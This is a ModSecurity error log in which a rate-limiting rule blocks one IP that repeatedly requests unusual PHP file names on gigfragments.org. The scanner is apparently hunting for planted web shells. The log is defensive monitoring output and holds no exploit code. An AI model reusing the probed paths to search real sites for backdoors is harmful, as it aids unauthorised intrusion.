[Sun Apr 26 09:20:57.269119 2026] [:error] [pid 13197:tid 13255] [client 20.203.160.110:64417] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zogy1.php"] [unique_id "ae1oed3kktFKdSxTrBufPgAAAtc"]
[Sun Apr 26 09:20:58.743635 2026] [:error] [pid 8383:tid 8416] [client 20.203.160.110:34436] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zogy1.php"] [unique_id "ae1oetFa2S3EsATMdWPYmQAAABM"]
[Sun Apr 26 09:20:59.924401 2026] [:error] [pid 8491:tid 8506] [client 20.203.160.110:52682] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoper1.php"] [unique_id "ae1oeyq7I7e6CJooQM25igAAAMc"]
[Sun Apr 26 09:21:00.532530 2026] [:error] [pid 8385:tid 8431] [client 20.203.160.110:29182] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoper1.php"] [unique_id "ae1ofDOy7_J84Wx3-oyBzQAAAEc"]
[Sun Apr 26 09:21:02.492966 2026] [:error] [pid 22572:tid 22587] [client 20.203.160.110:50202] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoper1.php"] [unique_id "ae1oftXOViWCFU-pZzCRoQAAAUk"]
[Sun Apr 26 09:21:05.230073 2026] [:error] [pid 8390:tid 8463] [client 20.203.160.110:31748] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoper1.php"] [unique_id "ae1ogYGPtFK_i9p5yxRb3AAAAIw"]
[Sun Apr 26 09:21:08.423682 2026] [:error] [pid 16574:tid 16604] [client 20.203.160.110:29123] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atkno.php"] [unique_id "ae1ohH5MsX8wRQr99nYGbgAAA0A"]
[Sun Apr 26 09:21:11.095164 2026] [:error] [pid 8390:tid 8458] [client 20.203.160.110:29159] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atkno.php"] [unique_id "ae1oh4GPtFK_i9p5yxRb3gAAAIc"]
[Sun Apr 26 09:21:12.244163 2026] [:error] [pid 8385:tid 8426] [client 20.203.160.110:50191] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atkno.php"] [unique_id "ae1oiDOy7_J84Wx3-oyB1AAAAEI"]
[Sun Apr 26 09:21:14.519882 2026] [:error] [pid 13137:tid 13161] [client 20.203.160.110:50199] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atkno.php"] [unique_id "ae1oit0RB4J0o4h5neH-qAAAAhQ"]
[Sun Apr 26 09:21:17.206506 2026] [:error] [pid 16515:tid 16526] [client 20.203.160.110:16260] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/de.php"] [unique_id "ae1ojVtDrUmgHSvpuLzfXAAAAkg"]
[Sun Apr 26 09:21:17.919119 2026] [:error] [pid 22573:tid 22617] [client 20.203.160.110:34477] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/de.php"] [unique_id "ae1ojXB3EmQlD4yKUt9GigAAAYo"]
[Sun Apr 26 09:21:20.777453 2026] [:error] [pid 16515:tid 16540] [client 20.203.160.110:34509] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/de.php"] [unique_id "ae1okFtDrUmgHSvpuLzfXgAAAlY"]
[Sun Apr 26 09:21:21.965586 2026] [:error] [pid 8390:tid 8457] [client 20.203.160.110:52723] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/de.php"] [unique_id "ae1okYGPtFK_i9p5yxRb5AAAAIY"]
[Sun Apr 26 09:21:23.032540 2026] [:error] [pid 16515:tid 16521] [client 20.203.160.110:15195] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/insta.php"] [unique_id "ae1ok1tDrUmgHSvpuLzfYAAAAkM"]
[Sun Apr 26 09:21:23.864854 2026] [:error] [pid 8390:tid 8469] [client 20.203.160.110:16306] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/insta.php"] [unique_id "ae1ok4GPtFK_i9p5yxRb6AAAAJI"]
[Sun Apr 26 09:21:25.634348 2026] [:error] [pid 8390:tid 8471] [client 20.203.160.110:60286] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/insta.php"] [unique_id "ae1olYGPtFK_i9p5yxRb8QAAAJQ"]
[Sun Apr 26 09:21:27.206660 2026] [:error] [pid 13137:tid 13147] [client 20.203.160.110:38286] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/insta.php"] [unique_id "ae1ol90RB4J0o4h5neH-sgAAAgc"]
[Sun Apr 26 09:21:28.479119 2026] [:error] [pid 8383:tid 8404] [client 20.203.160.110:47682] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpxl.php"] [unique_id "ae1omNFa2S3EsATMdWPYqgAAAAc"]
[Sun Apr 26 09:21:29.210052 2026] [:error] [pid 8383:tid 8413] [client 20.203.160.110:15213] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpxl.php"] [unique_id "ae1omdFa2S3EsATMdWPYqwAAABA"]
[Sun Apr 26 09:21:31.529808 2026] [:error] [pid 16515:tid 16527] [client 20.203.160.110:38713] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpxl.php"] [unique_id "ae1om1tDrUmgHSvpuLzfYgAAAkk"]
[Sun Apr 26 09:21:32.249250 2026] [:error] [pid 13197:tid 13235] [client 20.203.160.110:63359] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpxl.php"] [unique_id "ae1onN3kktFKdSxTrBufSAAAAsQ"]
[Sun Apr 26 09:21:33.068257 2026] [:error] [pid 13197:tid 13252] [client 20.203.160.110:63334] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admlo.php"] [unique_id "ae1ond3kktFKdSxTrBufSQAAAtQ"]
[Sun Apr 26 09:21:34.237836 2026] [:error] [pid 22572:tid 22579] [client 20.203.160.110:26485] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admlo.php"] [unique_id "ae1ontXOViWCFU-pZzCRqwAAAUE"]
[Sun Apr 26 09:21:35.776758 2026] [:error] [pid 13137:tid 13159] [client 20.203.160.110:23968] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admlo.php"] [unique_id "ae1on90RB4J0o4h5neH-vgAAAhI"]
[Sun Apr 26 09:21:56.157883 2026] [:error] [pid 8390:tid 8461] [client 20.203.160.110:23955] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fkohd.php"] [unique_id "ae1otIGPtFK_i9p5yxRcGwAAAIo"]
[Sun Apr 26 09:21:57.618759 2026] [:error] [pid 8491:tid 8500] [client 20.203.160.110:31121] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fkohd.php"] [unique_id "ae1otSq7I7e6CJooQM25lQAAAME"]
[Sun Apr 26 09:21:59.576463 2026] [:error] [pid 8491:tid 8507] [client 20.203.160.110:2386] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fkohd.php"] [unique_id "ae1otyq7I7e6CJooQM25mQAAAMg"]
[Sun Apr 26 09:22:03.420821 2026] [:error] [pid 22572:tid 22581] [client 20.203.160.110:21038] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fkohd.php"] [unique_id "ae1ou9XOViWCFU-pZzCRwwAAAUM"]
[Sun Apr 26 09:22:04.912129 2026] [:error] [pid 22572:tid 22599] [client 20.203.160.110:22150] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws78.php"] [unique_id "ae1ovNXOViWCFU-pZzCRxQAAAVU"]
[Sun Apr 26 09:22:06.703682 2026] [:error] [pid 22573:tid 22625] [client 20.203.160.110:48930] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws78.php"] [unique_id "ae1ovnB3EmQlD4yKUt9GsgAAAZI"]
[Sun Apr 26 09:22:08.961670 2026] [:error] [pid 22572:tid 22591] [client 20.203.160.110:54313] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws78.php"] [unique_id "ae1owNXOViWCFU-pZzCRyQAAAU0"]
[Sun Apr 26 09:22:11.852788 2026] [:error] [pid 22573:tid 22606] [client 20.203.160.110:21075] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws78.php"] [unique_id "ae1ow3B3EmQlD4yKUt9GuwAAAYA"]
[Sun Apr 26 09:22:13.580903 2026] [:error] [pid 16515:tid 16518] [client 20.203.160.110:21084] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "ae1oxVtDrUmgHSvpuLzfhwAAAkA"]
[Sun Apr 26 09:22:16.758380 2026] [:error] [pid 22573:tid 22606] [client 20.203.160.110:39615] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "ae1oyHB3EmQlD4yKUt9GwQAAAYA"]
[Sun Apr 26 09:22:20.204307 2026] [:error] [pid 13197:tid 13251] [client 20.203.160.110:2743] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "ae1ozN3kktFKdSxTrBufUgAAAtM"]
[Sun Apr 26 09:22:22.886222 2026] [:error] [pid 8385:tid 8444] [client 20.203.160.110:53386] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "ae1ozjOy7_J84Wx3-oyB6wAAAFQ"]
[Sun Apr 26 09:22:24.709985 2026] [:error] [pid 22572:tid 22588] [client 20.203.160.110:17614] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zo.php"] [unique_id "ae1o0NXOViWCFU-pZzCR-QAAAUo"]
[Sun Apr 26 09:22:27.495037 2026] [:error] [pid 16515:tid 16529] [client 20.203.160.110:16225] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zo.php"] [unique_id "ae1o01tDrUmgHSvpuLzflgAAAks"]
[Sun Apr 26 09:22:29.516172 2026] [:error] [pid 16515:tid 16528] [client 20.203.160.110:20040] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zo.php"] [unique_id "ae1o1VtDrUmgHSvpuLzfmAAAAko"]
[Sun Apr 26 09:22:43.809764 2026] [:error] [pid 22573:tid 22615] [client 20.203.160.110:26954] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xy.php"] [unique_id "ae1o43B3EmQlD4yKUt9G2QAAAYg"]
[Sun Apr 26 09:22:44.453493 2026] [:error] [pid 22573:tid 22607] [client 20.203.160.110:52012] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xy.php"] [unique_id "ae1o5HB3EmQlD4yKUt9G2wAAAYE"]
[Sun Apr 26 09:22:46.995926 2026] [:error] [pid 16515:tid 16530] [client 20.203.160.110:14387] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xy.php"] [unique_id "ae1o5ltDrUmgHSvpuLzfoQAAAkw"]
[Sun Apr 26 09:22:48.368602 2026] [:error] [pid 8385:tid 8441] [client 20.203.160.110:29109] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xy.php"] [unique_id "ae1o6DOy7_J84Wx3-oyB7gAAAFE"]
[Sun Apr 26 09:22:50.233153 2026] [:error] [pid 16515:tid 16535] [client 20.203.160.110:59933] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/masks.php"] [unique_id "ae1o6ltDrUmgHSvpuLzfpQAAAlE"]
[Sun Apr 26 09:22:52.298369 2026] [:error] [pid 13137:tid 13154] [client 20.203.160.110:19154] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/masks.php"] [unique_id "ae1o7N0RB4J0o4h5neH_DAAAAg0"]
[Sun Apr 26 09:23:19.189039 2026] [:error] [pid 16574:tid 16623] [client 20.203.160.110:54151] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jodohghi.php"] [unique_id "ae1pB35MsX8wRQr99nYGnwAAA04"]
[Sun Apr 26 09:23:20.159062 2026] [:error] [pid 13197:tid 13232] [client 20.203.160.110:50758] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jodohghi.php"] [unique_id "ae1pCN3kktFKdSxTrBufdAAAAsE"]
[Sun Apr 26 09:23:21.232433 2026] [:error] [pid 8390:tid 8470] [client 20.203.160.110:13603] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jodohghi.php"] [unique_id "ae1pCYGPtFK_i9p5yxRcegAAAJM"]
[Sun Apr 26 09:23:22.386784 2026] [:error] [pid 16515:tid 16530] [client 20.203.160.110:50809] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jodohghi.php"] [unique_id "ae1pCltDrUmgHSvpuLzfrAAAAkw"]
[Sun Apr 26 09:23:23.654276 2026] [:error] [pid 16515:tid 16534] [client 20.203.160.110:14807] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rendi59.php"] [unique_id "ae1pC1tDrUmgHSvpuLzfsAAAAlA"]
[Sun Apr 26 09:23:48.340173 2026] [:error] [pid 8390:tid 8471] [client 20.203.160.110:19466] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mga.php"] [unique_id "ae1pJIGPtFK_i9p5yxRclQAAAJQ"]
[Sun Apr 26 09:23:50.477553 2026] [:error] [pid 16515:tid 16523] [client 20.203.160.110:2894] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mga.php"] [unique_id "ae1pJltDrUmgHSvpuLzfvwAAAkU"]
[Sun Apr 26 09:23:52.646618 2026] [:error] [pid 8491:tid 8512] [client 20.203.160.110:24466] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mga.php"] [unique_id "ae1pKCq7I7e6CJooQM25tAAAAM0"]
[Sun Apr 26 09:23:54.804589 2026] [:error] [pid 8491:tid 8502] [client 20.203.160.110:40210] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mga.php"] [unique_id "ae1pKiq7I7e6CJooQM25tQAAAMM"]
[Sun Apr 26 09:23:56.253626 2026] [:error] [pid 8390:tid 8468] [client 20.203.160.110:38956] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dshtv.php"] [unique_id "ae1pLIGPtFK_i9p5yxRcpQAAAJE"]
[Sun Apr 26 09:23:57.269865 2026] [:error] [pid 8491:tid 8518] [client 20.203.160.110:23922] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dshtv.php"] [unique_id "ae1pLSq7I7e6CJooQM25uAAAANM"]
